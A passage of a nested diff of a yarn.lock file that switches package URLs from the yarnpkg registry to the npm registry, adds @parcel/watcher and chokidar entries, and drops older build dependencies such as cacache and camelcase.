-+  integrity sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==
-+
-+"@parcel/watcher-win32-x64@2.5.1":
-+  version "2.5.1"
-+  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.1.tgz#ae52693259664ba6f2228fa61d7ee44b64ea0947"
-+  integrity sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==
-+
-+"@parcel/watcher@^2.4.1":
-+  version "2.5.1"
-+  resolved "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.5.1.tgz"
-+  integrity sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg==
-+  dependencies:
-+    detect-libc "^1.0.3"
-+    is-glob "^4.0.3"
-+    micromatch "^4.0.5"
-+    node-addon-api "^7.0.0"
-+  optionalDependencies:
-+    "@parcel/watcher-android-arm64" "2.5.1"
-+    "@parcel/watcher-darwin-arm64" "2.5.1"
-+    "@parcel/watcher-darwin-x64" "2.5.1"
-+    "@parcel/watcher-freebsd-x64" "2.5.1"
-+    "@parcel/watcher-linux-arm-glibc" "2.5.1"
-+    "@parcel/watcher-linux-arm-musl" "2.5.1"
-+    "@parcel/watcher-linux-arm64-glibc" "2.5.1"
-+    "@parcel/watcher-linux-arm64-musl" "2.5.1"
-+    "@parcel/watcher-linux-x64-glibc" "2.5.1"
-+    "@parcel/watcher-linux-x64-musl" "2.5.1"
-+    "@parcel/watcher-win32-arm64" "2.5.1"
-+    "@parcel/watcher-win32-ia32" "2.5.1"
-+    "@parcel/watcher-win32-x64" "2.5.1"
- 
- "@types/minimatch@^3.0.3":
-   version "3.0.5"
--  resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-3.0.5.tgz#1001cc5e6a3704b83c236027e77f2f58ea010f40"
-+  resolved "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.5.tgz"
-   integrity sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==
- 
--"@types/minimist@^1.2.0":
--  version "1.2.5"
--  resolved "https://registry.yarnpkg.com/@types/minimist/-/minimist-1.2.5.tgz#ec10755e871497bcd83efe927e43ec46e8c0747e"
--  integrity sha512-hov8bUuiLiyFPGyFPE1lwWhmzYbirOXQNNo40+y3zow8aFVTeyn3VWL0VFFfdNddA8S4Vf0Tc062rzyNr7Paag==
--
--"@types/normalize-package-data@^2.4.0":
--  version "2.4.4"
--  resolved "https://registry.yarnpkg.com/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz#56e2cc26c397c038fab0e3a917a12d5c5909e901"
--  integrity sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==
--
- abbrev@1:
-   version "1.1.1"
--  resolved "https://registry.yarnpkg.com/abbrev/-/abbrev-1.1.1.tgz#f8f2c887ad10bf67f634f005b6987fed3179aac8"
-+  resolved "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz"
-   integrity sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==
- 
--agent-base@6, agent-base@^6.0.2:
--  version "6.0.2"
--  resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-6.0.2.tgz#49fff58577cfee3f37176feab4c22e00f86d7f77"
--  integrity sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==
--  dependencies:
--    debug "4"
--
--agentkeepalive@^4.1.3, agentkeepalive@^4.2.1:
--  version "4.5.0"
--  resolved "https://registry.yarnpkg.com/agentkeepalive/-/agentkeepalive-4.5.0.tgz#2673ad1389b3c418c5a20c5d7364f93ca04be923"
--  integrity sha512-5GG/5IbQQpC9FpkRGsSvZI5QYeSCzlJHdpBQntCsuTOxhKD8lqKhrleg2Yi7yvMIf82Ycmmqln9U8V9qwEiJew==
--  dependencies:
--    humanize-ms "^1.2.1"
--
--aggregate-error@^3.0.0:
--  version "3.1.0"
--  resolved "https://registry.yarnpkg.com/aggregate-error/-/aggregate-error-3.1.0.tgz#92670ff50f5359bdb7a3e0d40d0ec30c5737687a"
--  integrity sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==
--  dependencies:
--    clean-stack "^2.0.0"
--    indent-string "^4.0.0"
--
- ansi-regex@^2.0.0:
-   version "2.1.1"
--  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
-+  resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz"
-   integrity sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==
- 
--ansi-regex@^5.0.1:
--  version "5.0.1"
--  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304"
--  integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
--
- ansi-styles@^2.2.1:
-   version "2.2.1"
--  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-2.2.1.tgz#b432dd3358b634cf75e1e4664368240533c1ddbe"
-+  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz"
-   integrity sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA==
- 
- ansi-styles@^3.2.1:
-   version "3.2.1"
--  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
-+  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz"
-   integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
-   dependencies:
-     color-convert "^1.9.0"
- 
--ansi-styles@^4.0.0, ansi-styles@^4.1.0:
-+ansi-styles@^4.1.0:
-   version "4.3.0"
--  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
-+  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz"
-   integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
-   dependencies:
-     color-convert "^2.0.1"
- 
--"aproba@^1.0.3 || ^2.0.0":
--  version "2.0.0"
--  resolved "https://registry.yarnpkg.com/aproba/-/aproba-2.0.0.tgz#52520b8ae5b569215b354efc0caa3fe1e45a8adc"
--  integrity sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==
--
--are-we-there-yet@^3.0.0:
--  version "3.0.1"
--  resolved "https://registry.yarnpkg.com/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz#679df222b278c64f2cdba1175cdc00b0d96164bd"
--  integrity sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==
--  dependencies:
--    delegates "^1.0.0"
--    readable-stream "^3.6.0"
--
- argparse@^1.0.7:
-   version "1.0.10"
--  resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
-+  resolved "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz"
-   integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==
-   dependencies:
-     sprintf-js "~1.0.2"
- 
- array-differ@^3.0.0:
-   version "3.0.0"
--  resolved "https://registry.yarnpkg.com/array-differ/-/array-differ-3.0.0.tgz#3cbb3d0f316810eafcc47624734237d6aee4ae6b"
-+  resolved "https://registry.npmjs.org/array-differ/-/array-differ-3.0.0.tgz"
-   integrity sha512-THtfYS6KtME/yIAhKjZ2ul7XI96lQGHRputJQHO80LAWQnuGP4iCIN8vdMRboGbIEYBwU33q8Tch1os2+X0kMg==
- 
- array-each@^1.0.1:
-   version "1.0.1"
--  resolved "https://registry.yarnpkg.com/array-each/-/array-each-1.0.1.tgz#a794af0c05ab1752846ee753a1f211a05ba0c44f"
-+  resolved "https://registry.npmjs.org/array-each/-/array-each-1.0.1.tgz"
-   integrity sha512-zHjL5SZa68hkKHBFBK6DJCTtr9sfTCPCaph/L7tMSLcTFgy+zX7E+6q5UArbtOtMBCtxdICpfTCspRse+ywyXA==
- 
- array-slice@^1.0.0:
-   version "1.1.0"
--  resolved "https://registry.yarnpkg.com/array-slice/-/array-slice-1.1.0.tgz#e368ea15f89bc7069f7ffb89aec3a6c7d4ac22d4"
-+  resolved "https://registry.npmjs.org/array-slice/-/array-slice-1.1.0.tgz"
-   integrity sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w==
- 
- array-union@^2.1.0:
-   version "2.1.0"
--  resolved "https://registry.yarnpkg.com/array-union/-/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d"
-+  resolved "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz"
-   integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==
- 
--arrify@^1.0.1:
--  version "1.0.1"
--  resolved "https://registry.yarnpkg.com/arrify/-/arrify-1.0.1.tgz#898508da2226f380df904728456849c1501a4b0d"
--  integrity sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==
--
- arrify@^2.0.1:
-   version "2.0.1"
--  resolved "https://registry.yarnpkg.com/arrify/-/arrify-2.0.1.tgz#c9655e9331e0abcd588d2a7cad7e9956f66701fa"
-+  resolved "https://registry.npmjs.org/arrify/-/arrify-2.0.1.tgz"
-   integrity sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==
- 
--async-foreach@^0.1.3:
--  version "0.1.3"
--  resolved "https://registry.yarnpkg.com/async-foreach/-/async-foreach-0.1.3.tgz#36121f845c0578172de419a97dbeb1d16ec34542"
--  integrity sha512-VUeSMD8nEGBWaZK4lizI1sf3yEC7pnAQ/mrI7pC2fBz2s/tq5jWWEngTwaf0Gruu/OoXRGLGg1XFqpYBiGTYJA==
--
- async@^2.6.0:
-   version "2.6.4"
--  resolved "https://registry.yarnpkg.com/async/-/async-2.6.4.tgz#706b7ff6084664cd7eae713f6f965433b5504221"
-+  resolved "https://registry.npmjs.org/async/-/async-2.6.4.tgz"
-   integrity sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==
-   dependencies:
-     lodash "^4.17.14"
-@@ -203,7 +171,7 @@ async@^3.2.3, async@~3.2.0:
- 
- autoprefixer@9.8.8:
-   version "9.8.8"
--  resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-9.8.8.tgz#fd4bd4595385fa6f06599de749a4d5f7a474957a"
-+  resolved "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.8.8.tgz"
-   integrity sha512-eM9d/swFopRt5gdJ7jrpCwgvEMIayITpojhkkSMRsFHYuH5bkSQ4p/9qTEHtmNudUZh22Tehu7I6CxAW0IXTKA==
-   dependencies:
-     browserslist "^4.12.0"
-@@ -216,12 +184,12 @@ autoprefixer@9.8.8:
- 
- balanced-match@^1.0.0:
-   version "1.0.2"
--  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
-+  resolved "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz"
-   integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
- 
- body@^5.1.0:
-   version "5.1.0"
--  resolved "https://registry.yarnpkg.com/body/-/body-5.1.0.tgz#e4ba0ce410a46936323367609ecb4e6553125069"
-+  resolved "https://registry.npmjs.org/body/-/body-5.1.0.tgz"
-   integrity sha512-chUsBxGRtuElD6fmw1gHLpvnKdVLK302peeFa9ZqAEk8TyzZ3fygLyUEDDPTJvL9+Bor0dIwn6ePOsRM2y0zQQ==
-   dependencies:
-     continuable-cache "^0.3.1"
-@@ -231,31 +199,24 @@ body@^5.1.0:
- 
- bootstrap-datepicker@1.10:
-   version "1.10.0"
--  resolved "https://registry.yarnpkg.com/bootstrap-datepicker/-/bootstrap-datepicker-1.10.0.tgz#61612bbe8bf0a69a5bce32bbcdda93ebb6ccf24a"
-+  resolved "https://registry.npmjs.org/bootstrap-datepicker/-/bootstrap-datepicker-1.10.0.tgz"
-   integrity sha512-lWxtSYddAQOpbAO8UhYhHLcK6425eWoSjb5JDvZU3ePHEPF6A3eUr51WKaFy4PccU19JRxUG6wEU3KdhtKfvpg==
-   dependencies:
-     jquery ">=3.4.0 <4.0.0"
- 
- bootstrap-sass@3.4.1:
-   version "3.4.1"
--  resolved "https://registry.yarnpkg.com/bootstrap-sass/-/bootstrap-sass-3.4.1.tgz#6843c73b1c258a0ac5cb2cc6f6f5285b664a8e9a"
-+  resolved "https://registry.npmjs.org/bootstrap-sass/-/bootstrap-sass-3.4.1.tgz"
-   integrity sha512-p5rxsK/IyEDQm2CwiHxxUi0MZZtvVFbhWmyMOt4lLkA4bujDA1TGoKT0i1FKIWiugAdP+kK8T5KMDFIKQCLYIA==
- 
- brace-expansion@^1.1.7:
-   version "1.1.11"
--  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
-+  resolved "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz"
-   integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
-   dependencies:
-     balanced-match "^1.0.0"
-     concat-map "0.0.1"
- 
--brace-expansion@^2.0.1:
--  version "2.0.1"
--  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
--  integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
--  dependencies:
--    balanced-match "^1.0.0"
--
- braces@^3.0.3:
-   version "3.0.3"
-   resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789"
-@@ -264,101 +225,44 @@ braces@^3.0.3:
-     fill-range "^7.1.1"
- 
- browserslist@^4.12.0:
--  version "4.24.2"
--  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.24.2.tgz#f5845bc91069dbd55ee89faf9822e1d885d16580"
--  integrity sha512-ZIc+Q62revdMcqC6aChtW4jz3My3klmCO1fEmINZY/8J3EpBg5/A/D0AKmBveUh6pgoeycoMkVMko84tuYS+Gg==
-+  version "4.25.1"
-+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.25.1.tgz#ba9e8e6f298a1d86f829c9b975e07948967bb111"
-+  integrity sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==
-   dependencies:
--    caniuse-lite "^1.0.30001669"
--    electron-to-chromium "^1.5.41"
--    node-releases "^2.0.18"
--    update-browserslist-db "^1.1.1"
-+    caniuse-lite "^1.0.30001726"
-+    electron-to-chromium "^1.5.173"
-+    node-releases "^2.0.19"
-+    update-browserslist-db "^1.1.3"
- 
- bytes@1:
-   version "1.0.0"
--  resolved "https://registry.yarnpkg.com/bytes/-/bytes-1.0.0.tgz#3569ede8ba34315fab99c3e92cb04c7220de1fa8"
-+  resolved "https://registry.npmjs.org/bytes/-/bytes-1.0.0.tgz"
-   integrity sha512-/x68VkHLeTl3/Ll8IvxdwzhrT+IyKc52e/oyHhA2RwqPqswSnjVbSddfPRwAsJtbilMAPSRWwAlpxdYsSWOTKQ==
- 
--cacache@^15.2.0:
--  version "15.3.0"
--  resolved "https://registry.yarnpkg.com/cacache/-/cacache-15.3.0.tgz#dc85380fb2f556fe3dda4c719bfa0ec875a7f1eb"
--  integrity sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==
--  dependencies:
--    "@npmcli/fs" "^1.0.0"
--    "@npmcli/move-file" "^1.0.1"
--    chownr "^2.0.0"
--    fs-minipass "^2.0.0"
--    glob "^7.1.4"
--    infer-owner "^1.0.4"
--    lru-cache "^6.0.0"
--    minipass "^3.1.1"
--    minipass-collect "^1.0.2"
--    minipass-flush "^1.0.5"
--    minipass-pipeline "^1.2.2"
--    mkdirp "^1.0.3"
--    p-map "^4.0.0"
--    promise-inflight "^1.0.1"
--    rimraf "^3.0.2"
--    ssri "^8.0.1"
--    tar "^6.0.2"
--    unique-filename "^1.1.1"
--
--cacache@^16.1.0:
--  version "16.1.3"
--  resolved "https://registry.yarnpkg.com/cacache/-/cacache-16.1.3.tgz#a02b9f34ecfaf9a78c9f4bc16fceb94d5d67a38e"
--  integrity sha512-/+Emcj9DAXxX4cwlLmRI9c166RuL3w30zp4R7Joiv2cQTtTtA+jeuCAjH3ZlGnYS3tKENSrKhAzVVP9GVyzeYQ==
--  dependencies:
--    "@npmcli/fs" "^2.1.0"
--    "@npmcli/move-file" "^2.0.0"
--    chownr "^2.0.0"
--    fs-minipass "^2.1.0"
--    glob "^8.0.1"
--    infer-owner "^1.0.4"
--    lru-cache "^7.7.1"
--    minipass "^3.1.6"
--    minipass-collect "^1.0.2"
--    minipass-flush "^1.0.5"
--    minipass-pipeline "^1.2.4"
--    mkdirp "^1.0.4"
--    p-map "^4.0.0"
--    promise-inflight "^1.0.1"
--    rimraf "^3.0.2"
--    ssri "^9.0.0"
--    tar "^6.1.11"
--    unique-filename "^2.0.0"
--
--call-bind@^1.0.7:
--  version "1.0.7"
--  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.7.tgz#06016599c40c56498c18769d2730be242b6fa3b9"
--  integrity sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==
-+call-bind-apply-helpers@^1.0.1, call-bind-apply-helpers@^1.0.2:
-+  version "1.0.2"
-+  resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz#4b5428c222be985d79c3d82657479dbe0b59b2d6"
-+  integrity sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==
-   dependencies:
--    es-define-property "^1.0.0"
-     es-errors "^1.3.0"
-     function-bind "^1.1.2"
--    get-intrinsic "^1.2.4"
--    set-function-length "^1.2.1"
- 
--camelcase-keys@^6.2.2:
--  version "6.2.2"
--  resolved "https://registry.yarnpkg.com/camelcase-keys/-/camelcase-keys-6.2.2.tgz#5e755d6ba51aa223ec7d3d52f25778210f9dc3c0"
--  integrity sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==
-+call-bound@^1.0.2:
-+  version "1.0.4"
-+  resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.4.tgz#238de935d2a2a692928c538c7ccfa91067fd062a"
-+  integrity sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==
-   dependencies:
--    camelcase "^5.3.1"
--    map-obj "^4.0.0"
--    quick-lru "^4.0.1"
--
--camelcase@^5.3.1:
--  version "5.3.1"
--  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
--  integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
-+    call-bind-apply-helpers "^1.0.2"
-+    get-intrinsic "^1.3.0"
- 
--caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001669:
--  version "1.0.30001684"
--  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001684.tgz#0eca437bab7d5f03452ff0ef9de8299be6b08e16"
--  integrity sha512-G1LRwLIQjBQoyq0ZJGqGIJUXzJ8irpbjHLpVRXDvBEScFJ9b17sgK6vlx0GAJFE21okD7zXl08rRRUfq6HdoEQ==
-+caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001726:
-+  version "1.0.30001727"
-+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001727.tgz#22e9706422ad37aa50556af8c10e40e2d93a8b85"
-+  integrity sha512-pB68nIHmbN6L/4C6MH1DokyR3bYqFwjaSs/sWDHGj4CTcFtQUQMuJftVwWkXq7mNWOybD3KhUv3oWHoGxgP14Q==
- 
- chalk@^1.1.1:
-   version "1.1.3"
--  resolved "https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98"
-+  resolved "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz"
-   integrity sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==
-   dependencies:
-     ansi-styles "^2.2.1"
-@@ -369,7 +273,7 @@ chalk@^1.1.1:
- 
- chalk@^2.1.0, chalk@^2.4.1:
-   version "2.4.2"
--  resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
-+  resolved "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz"
-   integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
-   dependencies:
-     ansi-styles "^3.2.1"
-@@ -378,281 +282,201 @@ chalk@^2.1.0, chalk@^2.4.1:
- 
- chalk@^4.1.0, chalk@^4.1.2, chalk@~4.1.0:
-   version "4.1.2"
--  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
-+  resolved "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz"
-   integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
-   dependencies:
-     ansi-styles "^4.1.0"
-     supports-color "^7.1.0"
- 
--chownr@^2.0.0:
--  version "2.0.0"
--  resolved "https://registry.yarnpkg.com/chownr/-/chownr-2.0.0.tgz#15bfbe53d2eab4cf70f18a8cd68ebe5b3cb1dece"
--  integrity sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==
--
--clean-stack@^2.0.0:
--  version "2.2.0"
--  resolved "https://registry.yarnpkg.com/clean-stack/-/clean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b"
--  integrity sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==
-+chokidar@^4.0.0:
-+  version "4.0.3"
-+  resolved "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz"
-+  integrity sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==
-+  dependencies:
-+    readdirp "^4.0.1"
- 
- clipboard@2.0.11:
-   version "2.0.11"
--  resolved "https://registry.yarnpkg.com/clipboard/-/clipboard-2.0.11.tgz#62180360b97dd668b6b3a84ec226975762a70be5"
-+  resolved "https://registry.npmjs.org/clipboard/-/clipboard-2.0.11.tgz"
-   integrity sha512-C+0bbOqkezLIsmWSvlsXS0Q0bmkugu7jcfMIACB+RDEntIzQIkdr148we28AfSloQLRdZlYL/QYyrq05j/3Faw==
-   dependencies:
-     good-listener "^1.2.2"
-     select "^1.1.2"
-     tiny-emitter "^2.0.0"
- 
--cliui@^8.0.1:
--  version "8.0.1"
--  resolved "https://registry.yarnpkg.com/cliui/-/cliui-8.0.1.tgz#0c04b075db02cbfe60dc8e6cf2f5486b1a3608aa"
--  integrity sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==
--  dependencies:
--    string-width "^4.2.0"
--    strip-ansi "^6.0.1"
--    wrap-ansi "^7.0.0"
--
- color-convert@^1.9.0:
-   version "1.9.3"
--  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
-+  resolved "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz"
-   integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
-   dependencies:
-     color-name "1.1.3"
- 
- color-convert@^2.0.1:
-   version "2.0.1"
--  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
-+  resolved "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz"
-   integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
-   dependencies:
-     color-name "~1.1.4"
- 
- color-name@1.1.3:
-   version "1.1.3"
--  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
-+  resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz"
-   integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==
- 
- color-name@~1.1.4:
-   version "1.1.4"
--  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
-+  resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz"
-   integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
- 
--color-support@^1.1.3:
--  version "1.1.3"
--  resolved "https://registry.yarnpkg.com/color-support/-/color-support-1.1.3.tgz#93834379a1cc9a0c61f82f52f0d04322251bd5a2"
--  integrity sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==
--
- colors@~1.1.2:
-   version "1.1.2"
--  resolved "https://registry.yarnpkg.com/colors/-/colors-1.1.2.tgz#168a4701756b6a7f51a12ce0c97bfa28c084ed63"
-+  resolved "https://registry.npmjs.org/colors/-/colors-1.1.2.tgz"
-   integrity sha512-ENwblkFQpqqia6b++zLD/KUWafYlVY/UNnAp7oz7LY7E924wmpye416wBOmvv/HMWzl8gL1kJlfvId/1Dg176w==
- 
- concat-map@0.0.1:
-   version "0.0.1"
